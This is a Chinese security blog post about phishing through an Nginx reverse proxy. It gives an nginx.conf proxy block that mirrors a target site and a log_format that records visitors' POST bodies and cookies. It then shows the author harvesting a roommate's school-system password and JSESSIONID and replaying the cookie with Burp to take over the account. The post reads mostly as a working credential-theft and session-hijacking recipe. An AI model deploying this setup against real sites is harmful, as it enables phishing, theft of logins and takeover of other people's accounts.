freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

安全研究 | Nginx反向代理钓鱼
2020-07-15 10:51:04

什么是反向代理

这里我找了一段比较官方的解释。

反向代理(Reverse Proxy)是指以代理服务器来接受 Internet 上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给 Internet 上请求连接的客户端,此时代理服务器对外就表现为一个服务器。我自己的理解 代理服务器就是充当了一个“中间人”。如果理解的不恰当还请师傅们指出来哈。

Nginx反向代理实例

这里拿我的一台vps做演示 ip:39.xxx.xxx.x。因为vps上装了宝塔 而且 又在宝塔里装了Nginx。

首先找到Nginx的目录。在我的vps上 目录是/www/server/nginx/

找到/www/server/nginx/config/nginx.conf文件

反向代理 https://www.xxx.com/

location / {  
 #如果后端的服务器返回 502、504、执行超时等错误,自动将请求转发到 upstream 负载均衡池中的
另一台服务器,实现故障转移。
      proxy_next_upstream http_502 http_504 error timeout invalid_header; 
   proxy_pass https://www.xxx.com/; 
   proxy_set_header Host 39.xxx.xxx.9; 
   proxy_set_header X-Forwarded-For $remote_addr;
  }

proxy_set_header 指令用于在向反向代理的后端 Web 服务器发起请求时添加指定的 Header头信息。

当后端 Web 服务器上有多个基于域名的虚拟主机时,要通过添加 Header 头信息 Host,用于指定请求的域名,这样后端 Web 服务器才能识别该反向代理访问请求由哪一个虚拟主机来处理。(39.xxx.xxx.9是我的vps地址。www.xxx.com是要反向代理的目标)

最后我们还需要制定以下 访问日志需要获取的内容 也是在nginx.conf里修改.在http下

log_format TestLog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;

TestLog 要和上面的access_log对应不然日志不会起作用。

重点是$request_body(获取post数据),$http_cookie(获取cookie数据)这就是我们钓鱼的核心了。当有人访问并登陆我们反向代理的网站以后 我们点开日志就可以看到他的cookie和post提交的用户名和密码了。

反向代理钓鱼实例

这里我用我们学校的一个测试系统举例子 按照上面步骤反向代理学校的测试系统

之后看到一个一模一样的界面。为了怕学校领导找上门来我把css都撤了 哈哈哈。

这时候叫上万能的舍友来登陆一波康康。

根据Nginx.conf确定日志路径在/www/wwwlogs/access.log。讲道理舍友登陆了以后应该记录了 他登陆时提交的post 里面应该包含账号密码。和登录后的cookie信息。访问日志后看到登陆时的账号密码。目标站为https 不过问题不大JSESSIONID后面的是获取到舍友登陆后的cookie。直接替换cookie即可登陆舍友的账号。burp进行正则匹配cookie后进行替换。最后成功登陆。

写在最后

本文更多的是根据自己的理解去写的 如果哪里理解或是操作有问题 ,麻烦各位大佬指出来。感谢感谢。最后如果有对Nginx不太了解的,可以去看一下《实战Nginx:取代Apache的高性能Web服务器》这本书,当时也是国光大佬推荐我的,很不错。

# 钓鱼 # nginx
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者